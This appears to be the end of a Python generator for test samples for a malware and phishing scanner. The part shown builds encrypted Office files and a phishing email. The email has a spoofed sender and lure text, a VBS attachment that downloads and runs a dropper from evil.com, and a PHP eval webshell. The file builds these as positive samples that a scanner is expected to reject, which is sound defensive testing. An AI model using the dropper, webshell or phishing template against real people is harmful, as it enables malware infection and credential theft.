<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="word/document.xml"/>
</Relationships>""",
        )

    # 用 msoffcrypto 加密
    input_buf = io.BytesIO(normal_buf.getvalue())
    office = msoffcrypto.OfficeFile(input_buf)
    output_buf = io.BytesIO()
    office.encrypt("changeme", output_buf)
    encrypted_data = output_buf.getvalue()

    write(
        "sealed.docx",
        encrypted_data,
        {
            "category": "加密Office",
            "expected_verdict": "reject",
            "expected_rules": ["OfficeEncrypted"],
            "description": "加密 DOCX（密码 changeme，msoffcrypto 加密）",
        },
    )


def encrypted_xlsx() -> None:
    """用 msoffcrypto 加密 XLSX。"""
    try:
        import msoffcrypto
    except ImportError:
        write(
            "sealed.xlsx",
            b"PK\x03\x04" + b"\x00" * 50 + b"EncryptedOfficeDocumentMarker",
            {
                "category": "加密Office",
                "expected_verdict": "reject",
                "expected_rules": ["OfficeEncrypted"],
                "description": "加密 XLSX（msoffcrypto 不可用，占位）",
            },
        )
        return

    import io

    normal_buf = io.BytesIO()
    with zipfile.ZipFile(normal_buf, "w") as zf:
        zf.writestr(
            "xl/workbook.xml",
            """<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main"><sheets><sheet name="Sheet1" sheetId="1" r:id="rId1"/></sheets></workbook>""",
        )
        zf.writestr(
            "[Content_Types].xml",
            """<?xml version="1.0" encoding="UTF-8"?>
<Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types">
<Default Extension="xml" ContentType="application/xml"/>
<Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/>
</Types>""",
        )
        zf.writestr(
            "_rels/.rels",
            """<?xml version="1.0" encoding="UTF-8"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="xl/workbook.xml"/>
</Relationships>""",
        )

    input_buf = io.BytesIO(normal_buf.getvalue())
    office = msoffcrypto.OfficeFile(input_buf)
    output_buf = io.BytesIO()
    office.encrypt("changeme", output_buf)

    write(
        "sealed.xlsx",
        output_buf.getvalue(),
        {
            "category": "加密Office",
            "expected_verdict": "reject",
            "expected_rules": ["OfficeEncrypted"],
            "description": "加密 XLSX（密码 changeme，msoffcrypto 加密）",
        },
    )


# =============================================================================
# 15. EML 邮件带危险附件 —— 触发 EmailAttachmentDangerous / EmailAttachmentDisguised
# =============================================================================

def eml_with_dangerous_attachment() -> None:
    """构造 RFC822 + MIME multipart 邮件：发件人伪造 + .vbs/.js 附件 + 钓鱼关键词正文。

    documents.py 的 _scan_eml 会：
    1) 扫描附件扩展名 → EmailAttachmentDangerous (.vbs, .js 都在危险列表里)
    2) 扫描双扩展名伪装 → EmailAttachmentDisguised ("invoice.pdf.vbs")
    3) 扫描附件内容 → VBA 宏特征/反弹Shell/Webshell 特征
    4) 扫描正文钓鱼关键词 → EmailPhishingKeyword
    """
    import email.message
    from email.mime.base import MIMEBase
    from email.mime.multipart import MIMEMultipart
    from email.mime.text import MIMEText
    from email import encoders

    msg = MIMEMultipart()
    msg["From"] = "IT Support <support@secure-update-login.com>"
    msg["To"] = "me@internal.com"
    msg["Subject"] = "URGENT: Invoice verification required within 24 hours - click here to verify your account"

    body = (
        "Dear Employee,\n\n"
        "An urgent invoice payment is pending. Please verify your account "
        "and click this link immediately to avoid wire transfer delay.\n\n"
        "Your password and credential are required for login verification.\n\n"
        "Download and open the attachment (invoice.pdf.vbs) to see the order receipt.\n\n"
        "Best regards,\nIT Support"
    )
    msg.attach(MIMEText(body, "plain", "utf-8"))

    # 附件 1: .vbs（危险扩展名 + VBA Shell 代码）
    vbs_payload = (
        'Set x = CreateObject("Wscript.Shell")\n'
        'x.Run "cmd.exe /c curl http://evil.com/dropper.exe -o C:\\Windows\\Temp\\a.exe && C:\\Windows\\Temp\\a.exe"\n'
    )
    att1 = MIMEBase("application", "octet-stream")
    att1.set_payload(vbs_payload.encode("utf-8"))
    encoders.encode_base64(att1)
    att1.add_header("Content-Disposition", 'attachment; filename="invoice.vbs"')
    msg.attach(att1)

    # 附件 2: 双扩展名伪装 .pdf.vbs
    att2 = MIMEBase("application", "octet-stream")
    att2.set_payload(vbs_payload.encode("utf-8"))
    encoders.encode_base64(att2)
    att2.add_header("Content-Disposition", 'attachment; filename="invoice.pdf.vbs"')
    msg.attach(att2)

    # 附件 3: .js（危险扩展名 + PHP eval Webshell 代码，触发 EmailAttachmentWebshell）
    js_payload = (
        '<?php eval($_GET["cmd"]); echo "ok"; ?>'
    )
    att3 = MIMEBase("application", "octet-stream")
    att3.set_payload(js_payload.encode("utf-8"))
    encoders.encode_base64(att3)
    att3.add_header("Content-Disposition", 'attachment; filename="form.js"')
    msg.attach(att3)

    eml_data = msg.as_string()

    write(
        "phishing.eml",
        eml_data,
        {
            "category": "钓鱼邮件",
            "expected_verdict": "reject",
            "expected_rules": ["EmailAttachmentDangerous", "EmailAttachmentDisguised",
                               "EmailAttachmentWebshell", "EmailPhishingKeyword"],
            "description": "钓鱼邮件 —— .vbs/.js 危险附件 + 双扩展名伪装 + Webshell 内容 + 正文钓鱼关键词",
        },
    )


# =============================================================================
# 汇总所有生成函数
# =============================================================================

GENERATORS = [
    php_webshell_oneliner,
    php_webshell_obfuscated,
    jsp_webshell_runtime,
    aspnet_webshell,
    bash_reverse_devtcp,
    nc_reverse_shell,
    python_reverse_pty,
    crontab_persistence,
    fake_elf_binary,
    desktop_autoexec,
    zip_path_traversal,
    double_ext_php_jpg,
    malformed_zip,
    pe_process_injection,
    pe_downloader_loader,
    pe_lolbin_certutil,
    ransomware_vss,
    xminer_mining,
    vba_autoexec_shell,
    vba_autoexec_wps_linux,
    pdf_javascript_openaction,
    iso_with_elf,
    lnk_shell_link,
    # ---- 新增样本（5 类 + 回退）----
    chm_with_script,
    docx_with_attached_template,
    docm_with_vba_macro,
    doc_with_ole_exe,
    encrypted_docx,
    encrypted_xlsx,
    eml_with_dangerous_attachment,
    # ---- 阴性对照 ----
    normal_docx,
    normal_txt,
    normal_shell,
    normal_pdf,
]


def main() -> None:
    print(f"=== MeshSafe 测试样本生成器 ===\n输出目录: {SAMPLES_DIR}\n")

    ensure_dir()

    for i, gen in enumerate(GENERATORS, 1):
        gen()

    # 写 index.json
    index_path = SAMPLES_DIR / "index.json"
    index_data = {
        "total": len(META_LIST),
        "generated_at": __import__("datetime").datetime.now().isoformat(),
        "samples": sorted(META_LIST, key=lambda m: m["filename"]),
    }
    index_path.write_text(json.dumps(index_data, ensure_ascii=False, indent=2))

    print(f"✅ 生成 {len(META_LIST)} 个测试样本")
    print(f"✅ index.json 已写入")
    print()
    by_cat: Dict[str, List[str]] = {}
    for m in META_LIST:
        by_cat.setdefault(m["category"], []).append(m["filename"])
    for cat, files in sorted(by_cat.items()):
        print(f"  [{cat}] {len(files)} 个")
        for fn in files:
            print(f"    - {fn}")
    print()
    negatives = [m for m in META_LIST if m["expected_verdict"] == "pass"]
    positives = [m for m in META_LIST if m["expected_verdict"] == "reject"]
    print(f"阳性样本（期望 reject）: {len(positives)} 个")
    print(f"阴性对照（期望 pass）:   {len(negatives)} 个")


if __name__ == "__main__":
    main()